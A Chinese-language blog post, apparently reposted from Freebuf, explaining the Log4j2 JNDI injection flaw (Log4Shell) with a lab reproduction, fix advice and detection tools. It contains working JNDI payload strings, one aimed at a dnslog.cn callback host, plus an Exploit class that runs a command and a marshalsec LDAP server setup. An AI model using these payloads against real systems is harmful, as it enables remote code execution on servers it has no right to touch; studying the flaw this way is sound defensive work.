Log4j遠端程式碼執行漏洞漫談
對於一個能養活安全工程師的核彈級漏洞,就非常有必要研究一番了,希望能拋磚引玉。
簡介
I 漏洞描述
Apache Log4j 是 Apache 的一個開源專案,Apache log4j-2 是 Log4j 的升級,我們可以控制日誌資訊輸送的目的地為控制檯、檔案、GUI元件等,通過定義每一條日誌資訊的級別,能夠更加細緻地控制日誌的生成過程。
Log4j-2中存在JNDI注入漏洞,當程式將使用者輸入的資料日誌記錄時,即可觸發此漏洞,成功利用此漏洞可以在目標伺服器上執行任意程式碼。
II 漏洞原理
當log4j列印的日誌內容中包括 ${jndi:ldap://ip}時,程式就會通過Idap協議訪問ip這個地址,然後ip就會返回一個包含Java程式碼的class檔案的地址,然後程式再通過返回的地址下載class檔案並執行。
III 影響範圍
Apache Log4j 2.x < 2.15.0-rc2。
漏洞驗證:
Docker漏洞環境搭建完成
訪問 顯示
頁面抓包
Change request POST method
獲取子域名qsydek.dnslog.cn
Post傳參c=${jndi:ldap://qsydek.dnslog.cn/exp}
漏洞驗證成功
漏洞復現:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
建立maven專案,匯入log4j的依賴
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:1389/Exploit}");
}
}
構造poc
public class Exploit {
static {
System.err.println("Pwned");
try {
String cmd = "calc";
Runtime.getRuntime().exec(cmd);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
構造Exploit.java
javac Exploit.java
編譯成class檔案
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "
開啟LDAP服務
執行Log4j.java,PWN!
漏洞修復
1>升級Apache Log4j2所有相關應用到最新版。
其他檢測手段
1> Log4j-scan 一款用於查詢log4j2漏洞的python指令碼,支援url檢測,支援HTTP請求頭和POST資料引數進行模糊測試。
特徵:
支援 URL 列表;
對 60 多個 HTTP 請求標頭進行模糊測試(不僅僅是以前看到的工具中的 3-4 個標頭);
對 HTTP POST 資料引數進行模糊測試;
對 JSON 資料引數進行模糊測試;
支援用於漏洞發現和驗證的 DNS 回撥;
WAF 繞過有效負載。
2>Log4j2 burp被動掃描外掛
通過外掛的方式,將Log4j2漏洞檢測能力整合到burp
3> AWVS掃描log4j2漏洞
AWVS14最新版本支援Log4j2漏洞檢測,支援批量掃描
4>製品級Log4j2漏洞檢測
支援 Jar/Ear/War包上傳,一鍵上傳即可獲取到檢測結果(騰訊安全binAuditor)
5> Log4j2 本地檢測
提取出來的Log4j2本地檢測工具,可快速發現當前伺服器存在風險的 log4j2 應用
隨著時間的推移,這個Log4j2中的RCE漏洞可能需要好幾年的時間才能得到解決,加強企業的應急檢測能力就是重中之重了。
來自 “ Freebuf ”, 原文作者:,;原文連結:https://www.freebuf.com/vuls/322949.html,如有侵權,請聯絡管理員刪除。
相關文章
- log4j遠端程式碼執行漏洞
- ThinkPHP遠端程式碼執行漏洞PHP
- phpunit 遠端程式碼執行漏洞PHP
- 高危漏洞!Apache Log4j 遠端程式碼執行漏洞(附修復建議)Apache
- ThinkPHP 5.0.23 遠端程式碼執行漏洞PHP
- OpenWRT 曝遠端程式碼執行漏洞
- Joomla遠端程式碼執行漏洞分析OOM
- 最新漏洞:Spring Framework遠端程式碼執行漏洞SpringFramework
- RCE(遠端程式碼執行漏洞)原理及漏洞利用
- WindowsJScript元件曝遠端程式碼執行漏洞WindowsJS元件
- .NET Remoting 遠端程式碼執行漏洞探究REM
- 什麼是遠端程式碼執行漏洞?
- 【核彈級漏洞】關於Apache Log4j 2遠端程式碼執行漏洞風險提示Apache
- Discuz! X系列遠端程式碼執行漏洞分析
- PHP CGI Windows下遠端程式碼執行漏洞PHPWindows
- crash_for_windows_pkg遠端程式碼執行漏洞Windows
- 核彈級漏洞——Apache Log4j 2 遠端程式碼執行漏洞事件詳情及修復方式Apache事件
- Apache Struts 再曝高危遠端程式碼執行漏洞Apache
- [漏洞預警]Laravel <= 8.4.2 Debug模式 _ignition 遠端程式碼執行漏洞Laravel模式
- Spring WebFlow 遠端程式碼執行漏洞(CVE-2017-4971)SpringWeb
- Apache OFBiz遠端程式碼執行漏洞(CVE-2024-38856)Apache
- CVE-2020-17530——Apache Struts遠端程式碼執行漏洞Apache
- 網站漏洞檢測 squid反向代理存在遠端程式碼執行漏洞網站UI
- PHP-CGI遠端程式碼執行漏洞(CVE-2012-1823)PHP
- SMB遠端程式碼執行漏洞CVE-2020-0796安全通告
- Spring Cloud Gateway 遠端程式碼執行漏洞(CVE-2022-22947)SpringCloudGateway
- ElasticSearch Groovy指令碼遠端程式碼執行漏洞分析(CVE-2015-1427)Elasticsearch指令碼
- 漫談程式和執行緒執行緒
- Steam客戶端發現遠端程式碼執行漏洞:已放補丁客戶端
- PHP-CGI遠端1程式碼執行漏洞(CVE-2012-1823)PHP
- PHP-fpm 遠端程式碼執行漏洞(CVE-2019-11043)分析PHP
- Apache Kylin遠端程式碼執行漏洞復現(CVE-2020-1956)Apache
- Weblogic遠端程式碼執行漏洞(CVE-2020-14750)修復方案Web
- Apache log4j2 遠端程式碼執行漏洞復現?Apache
- Apache Solr應用伺服器存在遠端程式碼執行漏洞?ApacheSolr伺服器
- Apache SSI 遠端命令執行漏洞Apache
- Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦Windows
- WordPress 3.5.1遠端程式碼執行EXP